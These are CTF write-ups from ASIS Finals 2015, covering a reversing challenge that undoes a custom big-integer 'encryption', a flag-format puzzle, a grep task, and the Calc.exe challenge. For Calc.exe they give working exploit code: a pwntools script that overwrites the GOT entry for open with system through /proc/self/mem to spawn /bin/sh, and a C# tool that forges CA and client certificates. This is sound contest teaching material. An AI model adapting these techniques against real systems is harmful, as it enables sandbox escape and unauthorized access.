Exchange is a 200 pts reversing challenge.

It “encrypts” the flag and saves the result to the flag_encrypted file, which was given to us.

After reversing the code, I found out what is the purpose of different functions:

0x18B0 - int* asciiToBigInt(char* input, int input): converts an ASCII string (right padded with \x00 bytes to 128 len) to an internal representation (I call it “bigInt”) where every base 10 digit is stored as a 4 byte int containing byte 0x00 - 0x09. The data is in little endian order. So the last digit is the first integer.

For example if the input is “A”, then it is padded to “A”+”\x00”*127, which can be represented as big integer as:

45644552252363489844689389609877581127018946730957002823331856543955562216240478920414261820142538442862528914811095969718052089738035470554824542935803976892792629189907252120936110445628891085017384343302833495994061696688515965999235750723256915686006965603508239787486605414067115468024602193068650659840

So the internal representation will be as integer: 0,4,8,9,…,4,6,5,4. As bytes: 00000000 04000000 0800000000 0900000000 …

0x25F0 - void bigIntToDecStr(int input, char *outBuf): converts internal representation to decimal number string: “45644…59840” 0x276C - void bigIntToHex(int *a1, char *a2): converts internal representation to hex string: “410000…000000” 0x1780 - int decStrToBigInt(char inputDecStr): converts decimal number string to internal representation: “45644…59840” => 0,4,8,9,…,4,6,5,4 0x0f82 - void bigIntMultiply(int *output, int *input1, int *input2): output = input1 * input2 for bigints 0x21a0 - void bigIntAdd(int *result, int *a, int *b): result = a + b for bigints 0x1730 - __int64 hexCharToNum(int a1): converts one hex character to numerical representation: “0” -> 0, “A” -> 10, “F” -> 15 0x2540 - void divideBy2(int *input): input /= 2 for bigints 0x13B0 - int algoAvg(int *input1, int *input2, __int64 roundNum): this is the main magic method, can be summarized as this:

while round--:
  tmp = (a + b) / 2
  a = b
  b = tmp

As the round number was too much and it would be days to run, I patched the binary and lowered the round from 0x0f0000000000000f to 0x0f000f which should give me almost the correct result.

alt

Also it OR-ed with small random values, which did not cause significant result, but could make my debugging harder, so I patched those out as well.

alt

I found out quickly that the result is (1input1 + 2input2)/3, but it calculates it a much slower way.

Knowing these functions the main method can be summarized as this:

  • read flag as first argument (argv[1])
  • converts the flag to a decimal number string => flagStr
  • selects a random value between 1 and 127
  • chunks the flagStr into two parts, the length of the first part is the previously generated random value
  • calculates avg1 = algoAvg(part1, part2) = (part1 + 2*part2) / 3
  • calculates avg2 = algoAvg(part2, 2part1) = (part2 + 4part1) / 3
  • converts avg1 and avg2 to hex and writes them out to flag_encrypted file

Although I don’t understand exactly but in the cases I tested the two parts are separated by the 0x00, 0x01, 0x02 byte series.

So decrypting the flag can be done by:

  • splitting the flag_enc file into two parts (avg1 and avg2), the parts are separated by 0x000102
  • calculating (equations are determined by doing some basic math)
    • input2 = (4 * avg1 - avg2) * 3 / 7
    • input1 = 3 * avg1 - 2 * input2;
  • joining the two parts* (as decimal strings)
  • converting the big integer to ASCII

  • I had to bruteforce a little as the input1’s last digits were not correct, so I tried to add 0..255 to input1 before joining the strings and doing this until I found “ASIS{“

The plaintext was:

Woow! you are good at math! So the flag is ASIS{93b838ecffa1b11c2f5bcf77c2596494}, good luck :-(ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿY

Exploit code

var enc = File.ReadAllBytes("flag_enc");
int splitPos = 0;
for (; splitPos < enc.Length - 3; splitPos++)
    if (enc[splitPos] == 0 && enc[splitPos + 1] == 1 && enc[splitPos + 2] == 2)
        break;

var avg1real = new BigInteger(enc.Take(splitPos).Reverse().Concat(new byte[1]).ToArray());
var avg2real = new BigInteger(enc.Skip(splitPos + 3).Reverse().Concat(new byte[1]).ToArray());

var input2restReal = (avg1real * 4 - avg2real) * 3 / 7;
var input1restReal = avg1real * 3 - 2 * input2restReal;

for (int i = 0; i < 255; i++)
{
    var fullNumRest = BigInteger.Parse((input1restReal + i).ToString() + input2restReal);
    var flag = Encoding.Default.GetString(fullNumRest.ToByteArray().Reverse().ToArray());
    if (flag.Contains("ASIS{"))
        Debugger.Break();
}

This challenge was solved by and the write up was written by one of my teammates, nguyen

From http://asis-ctf.ir/rules/:

Flag example:ASIS{476f20676f6f2e676c2f67776a625466}

=> converts back from hex ‘476f20676f6f2e676c2f67776a625466’ == Go goo.gl/gwjbTf

It is a short link to http://0bin.asis.io/paste/wYO8nWC1#Fef7-CVtrDG7NIb0e1W77+t2jtMF8GSbVHuo6Ajm5RQ that has content:

hi all, the flag is: ASIS{c0966ad97f120b58299cf2a727f9ca59}

We got a big file with a lot of flag-like stuff:

----------Which one is flag?----------
ASIS{3ec56380920f6b4a8ab7c85fa f6f2667}
ASIS{b3532aebaf2de7ea0fecdcf 80d91b29b}
ASIS{5148d9cb3d97d7d1e9d74dc5 0942393c}
ASIS{e9d89880e2c 31c00ef8008e830ff5268}
ASIS{fcf88f318445bed04cc2fe5 8dca9e65b}
ASIS{50480fe0160c98e7e1a7cd1266c 2d8e1}
ASIS{137db0 a81079449a5303d94e46cce011}
ASIS{6ecc4428eb9ed4bfe6ce989096 62a43b}
ASIS{44dc19a4af8a4747 0019394dcb58a4b8}
ASIS{2fa89f c6b0a188b83448f6e9372830b4}
ASIS{a222df308beb2112419dd 1223b76f614}
ASIS{fd96df4b589bd9eb9fc9b 60ffef82b62}
ASIS{2ff7139510ce5124efdb65c65 47b4c5e} 

Running a grep solved the challenge (-a: text mode, -E: extended grep):

kt@ubuntu:~/ctf/asisfinals2015$ grep -aE ASIS\{[0-9a-f]{32}\} flagBag.txt
ASIS{f3b79f17a02b7b85dcc11c2b59b7e1c0}

The second part of the challenge uses an already known technique to break out from “sandboxes”.

Namely: overwriting the contents of the /proc/self/mem. This is possible because the calculator contains two methods: READ and WRITE with which we can read and write arbitrary files. (Note: I tried to read “flag2”, but unfortunately it did not exist… :))

So I leaked the memory mappings with reading the /proc/self/maps file. Then I overwrote the “open” call’s GOT entry to system. And simply called the READ call again with /bin/sh which instead of opening the file, opened a shell for me (btw I tried to call “sh” first, but it turned out it calls a stat function first, and “sh” did not work, but “/bin/sh” did the trick).

Also there were some character encoding problem (it probably tried to interpret the binary input as UTF8 characters), so I only overwrote 3 bytes instead of the full address and the exploit is not reliable: only works if ASLR gives an address with characters which are lower than 0x80.

After calling an “ls” it turned out the flag was in the flag2-03dae19b720939043d87fbf67342c2e8.txt file.

And the flag was: ASIS{9009eeab9869a8098acd7bb19f079230}

Exploit code

#!/usr/bin/env python
from pwn import *
import re
from time import sleep

for i in xrange(10):
    print "Try #%d" % (i + 1)
    p = remote('185.82.202.146', 1337)
    #p = process('./start.sh', shell=True)
    p.recvline()
    p.recvline()

    p.send('authenticate\n')
    p.send(open('fakeCa.crt').read()+'\n')

    p.send('authenticate\n')
    p.send(open('fakeUserCert.crt').read()+'\n')

    p.send('flag\n')
    p.recvuntil('> ')
    print '[!] FLAG 1 = %s' % p.recvline().strip()

    p.send('read("/proc/self/maps",0,20000)\n')
    p.recvuntil('> ')
    maps = p.recvuntil('\x00')
    p.recvuntil('\n\n')
    #print "maps =", maps

    libcBase = int(re.search('([a-z0-9]+).*?libc-2.19.so', maps).group(1), 16)
    libThreadBase = int(re.search('([a-z0-9]+).*?libpthread-2.19.so', maps).group(1), 16)
    print "libThread base = 0x%016x" % libThreadBase

    systemLocal = 0x7ffff74ba230
    libThreadBaseLocal = 0x7ffff74aa000
    openGotAddr = 0x9776C8

    system = libThreadBase - libThreadBaseLocal + systemLocal
    print "system = 0x%016x" % system

    systemChars = p64(system)[0:3]
    if ord(systemChars[0]) >= 128 or ord(systemChars[1]) >= 128 or ord(systemChars[2]) >= 128:
        print "Exploit won't work, restarting..."
        p.close()
        continue
        
    p.send('write("/proc/self/mem",'+str(openGotAddr)+',"'+systemChars+'")\nread("/bin/sh",0,1)\n')
    p.recvline()
    p.recvline()

    time.sleep(0.4)
    p.send('ls && echo LSEND\n')
    print "ls result = %s" % p.recvuntil('LSEND\n').replace('LSEND','').replace('\n', ' ').strip()

    p.send('cat flag2-03dae19b720939043d87fbf67342c2e8.txt\n')
    print "[!] FLAG 2 = %s" % p.recvline().strip()

    p.interactive()
    break

Calc.exe is a .NET program (finally :D), which can evaluate (mostly) mathematical expressions.

At first no functions are enabled except some basic mathematical operations like addition, subtraction, etc.

But we can enable different functions by using a digitally signed X509 certficates.

We also got an example cert “guestCert.crt” which enabled some basic math and trigonomical functions.

alt

The program also adds a function called FLAG which returns the flag as string.

alt

The problem is we cannot load any certificate as there is a lot of checks before, so we had to find some vulnerability. The program uses a known crypto library, called BouncyCastle and the attached “BouncyCastle.Crypto.dll” is exactly the same as the one we can download from NuGet. As no known vulnerability exists for this library (or at least at the certificate verification part), we had to look for vulnerabilities in the program.

Although the certificate loaded into the store while it is checked, no self-signed certificates are allowed and it is removed as soon as its verification fails.

But there is a bug in the code: although some checks like the VerifyCertificate is in a try-catch block and returns a boolean value, the IsCalcExeCert can throw exception while calling SingleOrDefault method. To trigger the exception we have to put two values with the 2.5.4.1337 key into the SubjectName’s field.

alt

Although our certificate is not deleted from the trusted CA store, it is not loaded into the program, so we cannot call the FLAG function yet. But we can sign a new client certificate with this now trusted cert as a CA (certificate authority). This way our new certificate will be accepted.

The attached C# code snippet (calcexe1.cs) will generate the fake CA and the fake certificate.

The flag was: ASIS{e5cb5e25f77c1da6626fb78a48a678f3}

Exploit code

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Runtime.ConstrainedExecution;
using System.Text;
using System.Threading.Tasks;
using Org.BouncyCastle.Asn1;
using Org.BouncyCastle.Asn1.X509;
using Org.BouncyCastle.Crypto;
using Org.BouncyCastle.Crypto.Generators;
using Org.BouncyCastle.Crypto.Parameters;
using Org.BouncyCastle.Crypto.Prng;
using Org.BouncyCastle.Math;
using Org.BouncyCastle.OpenSsl;
using Org.BouncyCastle.Pkcs;
using Org.BouncyCastle.Security;
using Org.BouncyCastle.Utilities;
using Org.BouncyCastle.X509;

namespace CalcExeCertGenerator
{
    class Program
    {
        public class CertWithKey
        {
            public X509Certificate Cert { get; set; }
            public RsaPrivateCrtKeyParameters Key { get; set; }

            public CertWithKey(X509Certificate cert, RsaPrivateCrtKeyParameters key)
            {
                Cert = cert;
                Key = key;
            }
        }

        public static CertWithKey GenerateCertificate(string subjectName, CertWithKey issuer = null, int keyStrength = 1024, Action<X509V3CertificateGenerator> genAction = null)
        {
            var random = new SecureRandom(new CryptoApiRandomGenerator());
            var certificateGenerator = new X509V3CertificateGenerator();
            certificateGenerator.SetSerialNumber(BigIntegers.CreateRandomInRange(BigInteger.One, BigInteger.ValueOf(Int64.MaxValue), random));
            certificateGenerator.SetSignatureAlgorithm("SHA1WithRSA");
            certificateGenerator.SetIssuerDN(issuer != null ? issuer.Cert.SubjectDN : new X509Name(subjectName));
            certificateGenerator.SetSubjectDN(new X509Name(subjectName));
            certificateGenerator.SetNotBefore(DateTime.UtcNow.Date);
            certificateGenerator.SetNotAfter(DateTime.UtcNow.Date.AddYears(2));
            certificateGenerator.AddExtension(X509Extensions.BasicConstraints, true, new BasicConstraints(false));
            certificateGenerator.AddExtension(X509Extensions.KeyUsage, true, new KeyUsage(KeyUsage.DigitalSignature));
            certificateGenerator.AddExtension(X509Extensions.ExtendedKeyUsage, true, new ExtendedKeyUsage(KeyPurposeID.IdKPCodeSigning));
            if (genAction != null)
                genAction(certificateGenerator);

            // Subject Public Key
            var keyPairGenerator = new RsaKeyPairGenerator();
            keyPairGenerator.Init(new KeyGenerationParameters(random, keyStrength));
            var subjectKeyPair = keyPairGenerator.GenerateKeyPair();

            certificateGenerator.SetPublicKey(subjectKeyPair.Public);

            var certificate = certificateGenerator.Generate(issuer != null ? issuer.Key : subjectKeyPair.Private, random);
            return new CertWithKey(certificate, (RsaPrivateCrtKeyParameters)subjectKeyPair.Private);
        }

        static string ToPem(object obj)
        {
            var sw = new StringWriter();
            new PemWriter(sw).WriteObject(obj);
            return sw.ToString();
        }

        static void Main(string[] args)
        {
            X509Name.DefaultLookup.Add("prg", new DerObjectIdentifier("2.5.4.1337"));
            var fakeCa = GenerateCertificate("C=IR, L=Iran, [email protected], O=calc.exe, CN=calc.exe, 2.5.4.1337=calc.exe, 2.5.4.1337=calc.exe");
            var fakeUserCert = GenerateCertificate("C=IR, L=Iran, [email protected], O=guest, CN=guest, 2.5.4.1337=calc.exe", fakeCa,
                genAction: gen => gen.AddExtension("1.1.1337.7331", false, Encoding.Default.GetBytes("ABS,ACOS,ASIN,ATAN,ATAN2,CEILING,COS,COSH,EXP,FLOOR,FLAG,INT,LN,LOG,LOG10,PI,POWER,RAND,RANDBETWEEN,SIGN,SIN,SINH,SQRT,SUM,SUMIF,TAN,TANH,TRUNC,READ,WRITE")));
            File.WriteAllText("fakeCa.crt", ToPem(fakeCa.Cert));
            File.WriteAllText("fakeUserCert.crt", ToPem(fakeUserCert.Cert));
        }
    }
}